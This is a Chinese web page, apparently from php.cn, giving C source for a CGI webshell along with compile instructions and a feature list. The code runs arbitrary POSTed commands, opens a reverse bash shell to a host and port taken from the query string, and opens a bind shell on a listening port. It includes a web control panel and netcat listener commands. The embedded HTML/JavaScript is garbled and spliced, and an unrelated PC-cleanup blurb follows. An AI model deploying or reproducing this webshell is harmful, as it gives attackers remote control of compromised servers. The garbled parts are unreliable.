c语言实现cgi webshell
#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
struct get_data {
char key[100];
char value[100];
};
void exec_cmd(void){
printf("Content-type:text/html
");
FILE *command;
int size = atoi(getenv("CONTENT_LENGTH"));
if(size > 1500) {
printf("Error> Post Data is very big");
exit(0);
}
char *buffer = malloc(size+1);
fread(buffer,1,size,stdin);
command = popen(buffer,"r");
char caracter;
while((caracter = fgetc(command))){
if(caracter == EOF) break;
printf("%c",caracter);
}
pclose(command);
free(buffer);
exit(0);
}
int error(char *err){
perror(err);
exit(EXIT_FAILURE);
}
void parser_get(void){
printf("Content-type:text/html
");
struct get_data *s;
char *GET = (char *)getenv("QUERY_STRING");
int i,number_of_get = 0,size_get = strlen(GET);
if(strlen(GET) > 100)
exit(0);
s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
int element = 0;
int positionA = 0;
int positionB = 0;
int id = 0;
for(i=0;i<size_get;i++){
if(GET[i] == '='){
id = 1;
s[element].key[positionA] = ' ';
positionB = 0;
continue;
}
if(GET[i] == '&'){
id = 0;
s[element].key[positionA] = ' ';
s[element].value[positionB] = ' ';
positionA = 0;
positionB = 0;
element++;
continue;
}
if(id==0){
s[element].key[positionA] = GET[i];
positionA++;
}
if(id==1){
s[element].value[positionB] = GET[i];
positionB++;
}
if(i == size_get-1 && GET[size_get-1] != '&'){
s[element].key[positionA] = ' ';
s[element].value[positionB] = ' ';
element++;
continue;
}
}
char *host_x = (char *)malloc(100);
host_x = NULL;
char *type_x = (char *)malloc(100);
type_x = NULL;
int port_x = 0;
for(i=0;i<element;i++){
if(strcmp(s[i].key,"type")==0)
type_x = s[i].value;
else if(strcmp(s[i].key,"host")==0)
host_x = s[i].value;
else if(strcmp(s[i].key,"port")==0)
port_x = atoi(s[i].value);
}
free(s);
if(type_x == NULL){
free(type_x);
free(host_x);
exit(0);
}
if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){
printf("Something is wrong ... !!!");
free(type_x);
free(host_x);
exit(0);
}
if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){
printf("You must specify a target host ...");
free(type_x);
free(host_x);
exit(0);
}
if(strcmp(type_x,"reverse") == 0){
struct sockaddr_in addr;
int msocket;
msocket = socket(AF_INET,SOCK_STREAM,0);
if(msocket < 0){
printf("<font color='red'>Fail to create socket</font>");
free(host_x);
free(type_x);
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port_x);
addr.sin_addr.s_addr = inet_addr(host_x);
memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
printf("<font color='red'>Fail to connect</font>
");
free(host_x);
free(type_x);
exit(0);
}
printf("<font color='006600'>Connect with sucess !!!</font>
");
if(fork() == 0){
close(0); close(1); close(2);
dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2);
execl("/bin/bash","bash","-i", (char *)0);
close(msocket);
exit(0);
}
free(host_x);
free(type_x);
exit(0);
} else if (strcmp(type_x,"bind")==0) {
int my_socket, cli_socket;
struct sockaddr_in server_addr,cli_addr;
if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("<font color='red'>Fail to create socket</font>");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port_x);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
int optval = 1;
setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){
printf("<font color='red'>Fail to bind</font>");
free(host_x);
free(type_x);
exit(1);
}
if (listen(my_socket, 1) < 0){
printf("<font color='red'>Fail to listen</font>");
free(host_x);
free(type_x);
exit(1);
} else {
printf("<font color='006600'>Listen on port %d</font>
",port_x);
}
if(fork() == 0){
socklen_t tamanho = sizeof(struct sockaddr_in);
if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){
exit(0);
}
close(0); close(1); close(2);
dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2);
execl("/bin/bash","bash","-i",(char *)0);
close(cli_socket);
}
}
free(host_x);
free(type_x);
exit(0);
}
void load_css_js(void){
printf("<style type="text/css">
#page-wrap {
margin: 20px auto;
width: 750px;
}
h1 {
font-family: Impact, Charcoal, sans-serif;
text-shadow: -1px 0 black, 0 1px black,
1px 0 black, 0 -1px black;
color: gray;
border: #00ff00;
}
body {
background-color: white;
}
input[type="text"] {
margin-bottom: 10px;
border: 1px solid gray;
color: black;
box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);
}
hr {
color: gray;
}
input[type="submit"],input[type="button"] {
margin-bottom: 10px;
border: 1px solid gray;
box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);
}
#bind_reverse {
display:none;
}
label {
position: relative;
clear: left;
float: left;
width: 15em;
margin-right: 5px;
text-align: right;
margin-top: 5px;
}
div.scroll {
border: 1px solid gray;
margin-bottom: 10px;
color: black;
font-family: Tahoma, sans-serif;
padding: 5px;
width: 745px;
height: 295px;
overflow: auto;
box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);
}
#cmd_rev {
position: absolute;
margin-left: 450px;
top: 150px;
width: 250px;
overflow: auto;
}
#cmd_bin {
position: absolute;
margin-left: 450px;
top: 300px;
width: 250px;
overflow: auto;
}
#rev_s {
display:inline;
}
#bind_s {
display:inline;
}
</style>
<script type="text/javascript">
function exec_cmd(){
var Rrequest = new XMLHttpRequest();
var cmd_x = document.getElementById("xxx");
var result = document.getElementById("result");
if(cmd_x.value == '') return;
if(cmd_x.value == 'clear' || cmd_x.value == 'reset') { result.innerHTML = ''; return; }
var vv = cmd_x.value;
vv = vv.replace(/</g,"<");
vv = vv.replace(/>/g,">");
result.innerHTML += "<pre class="brush:php;toolbar:false;"><b>\$</b> "+vv+"'+complete_cont+'
<b>error !</b>
nc -v -l "+su.value+"
nc -v "+server_ip+" "+su.value+"
C0d3r: <b>webshell</b> | <a id='change_link' href='javascript:load_bind()'>REVERSE/BIND</a>
<b>Reverse Connection: <div id='rev_s'><font color='red'>Stop</font></div></b>
<label>Host/IP:</label><input type="text" id='host_rev'/>
<label>Port:</label><input type="text" id='port_rev' onkeypress='return change_div(event,this);' onKeyUp='update_div(this,"cmd_rev");' />
<b>Bind Connection: <div id='bind_s'><font color='red'>Stop</font></div></b>
<label>Port To Listen:</label><input type="text" id='port_bin' style="width:50px" onkeypress='return change_div(event,this);' onKeyUp='update_div(this,"cmd_bin");'>
编译:
gcc shell.c -o shell.cgi
功能:
1.反弹获得shell(target作为客户端)

2.监听获得shell(target作为服务端)

3.命令行执行

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号